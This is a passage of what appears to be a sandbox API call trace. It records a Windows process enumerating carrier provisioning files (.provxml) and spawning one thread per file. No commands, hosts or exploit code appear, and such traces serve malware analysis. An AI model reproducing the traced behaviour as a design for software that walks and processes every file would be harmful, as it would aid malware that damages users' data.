_Source="695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" [0182.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe12e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0182.378] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2a15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918a2a15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918a2a15, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", cAlternateFileName="696__C~1.PRO")) returned 1 [0182.378] wcscmp (_String1="696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.378] wcscmp (_String1="696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.378] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe1848 [0182.378] wcscpy (in: _Dest=0x2fe1848, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.379] wcscat (in: _Dest=0x2fe1848, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.379] wcscat (in: _Dest=0x2fe1848, _Source="696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" [0182.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0182.379] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2a15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918a2a15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918a2a15, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", cAlternateFileName="697__C~1.PRO")) returned 1 [0182.379] wcscmp (_String1="697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.379] wcscmp (_String1="697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.379] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe21b0 [0182.379] wcscpy (in: _Dest=0x2fe21b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.379] wcscat (in: _Dest=0x2fe21b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.379] wcscat (in: _Dest=0x2fe21b0, _Source="697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" [0182.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe21b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0182.380] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2a15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918a2a15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918c8c7c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="698__C~1.PRO")) returned 1 [0182.380] wcscmp (_String1="698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.380] wcscmp (_String1="698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.380] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x138) returned 0x2ff25d0 [0182.380] wcscpy (in: _Dest=0x2ff25d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.380] wcscat (in: _Dest=0x2ff25d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.380] wcscat (in: _Dest=0x2ff25d0, _Source="698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml" [0182.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff25d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0182.381] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8c7c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918c8c7c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918c8c7c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="699__C~1.PRO")) returned 1 [0182.556] wcscmp (_String1="699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.556] wcscmp (_String1="699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.556] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x304f568 [0182.556] wcscpy (in: _Dest=0x304f568, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.556] wcscat (in: _Dest=0x304f568, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.556] wcscat (in: _Dest=0x304f568, _Source="699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304f568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0182.705] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9032cd93, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9032cd93, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9032cd93, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1db, dwReserved0=0x0, dwReserved1=0x0, cFileName="69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="69__CE~1.PRO")) returned 1 [0182.705] wcscmp (_String1="69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.705] wcscmp (_String1="69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.705] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x304f2b8 [0182.705] wcscpy (in: _Dest=0x304f2b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.705] wcscat (in: _Dest=0x304f2b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.705] wcscat (in: _Dest=0x304f2b8, _Source="69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304f2b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0182.708] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900f0949, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900f0949, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900f0949, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml", cAlternateFileName="6__CON~1.PRO")) returned 1 [0182.708] wcscmp (_String1="6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.708] wcscmp (_String1="6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.708] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x304e298 [0182.708] wcscpy (in: _Dest=0x304e298, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.708] wcscat (in: _Dest=0x304e298, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.708] wcscat (in: _Dest=0x304e298, _Source="6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml" [0182.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304e298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0182.708] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8c7c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918c8c7c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918c8c7c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="700__C~1.PRO")) returned 1 [0182.708] wcscmp (_String1="700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.709] wcscmp (_String1="700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.709] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f02ea0 [0182.709] wcscpy (in: _Dest=0x4f02ea0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.709] wcscat (in: _Dest=0x4f02ea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.709] wcscat (in: _Dest=0x4f02ea0, _Source="700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml" [0182.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0182.709] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8c7c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918c8c7c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918c8c7c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="701__C~1.PRO")) returned 1 [0182.709] wcscmp (_String1="701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.709] wcscmp (_String1="701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.709] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x304f6c0 [0182.709] wcscpy (in: _Dest=0x304f6c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.709] wcscat (in: _Dest=0x304f6c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.710] wcscat (in: _Dest=0x304f6c0, _Source="701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304f6c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0182.710] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8c7c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918c8c7c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918c8c7c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml", cAlternateFileName="702__C~1.PRO")) returned 1 [0182.710] wcscmp (_String1="702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.710] wcscmp (_String1="702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.710] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x134) returned 0x2f6ab60 [0182.710] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.710] wcscat (in: _Dest=0x2f6ab60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.710] wcscat (in: _Dest=0x2f6ab60, _Source="702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml" [0182.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c [0182.711] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8c7c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918c8c7c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918eeee8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml", cAlternateFileName="703__C~1.PRO")) returned 1 [0182.711] wcscmp (_String1="703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.711] wcscmp (_String1="703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.711] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x134) returned 0x2fa4fe0 [0182.711] wcscpy (in: _Dest=0x2fa4fe0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.711] wcscat (in: _Dest=0x2fa4fe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.711] wcscat (in: _Dest=0x2fa4fe0, _Source="703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml" [0182.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa4fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x338 [0182.712] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918eeee8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918eeee8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918eeee8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="704__C~1.PRO")) returned 1 [0182.712] wcscmp (_String1="704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.712] wcscmp (_String1="704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.712] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x304f818 [0182.712] wcscpy (in: _Dest=0x304f818, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.712] wcscat (in: _Dest=0x304f818, _Source="\\" | out: _Dest="C:\\Users\\All 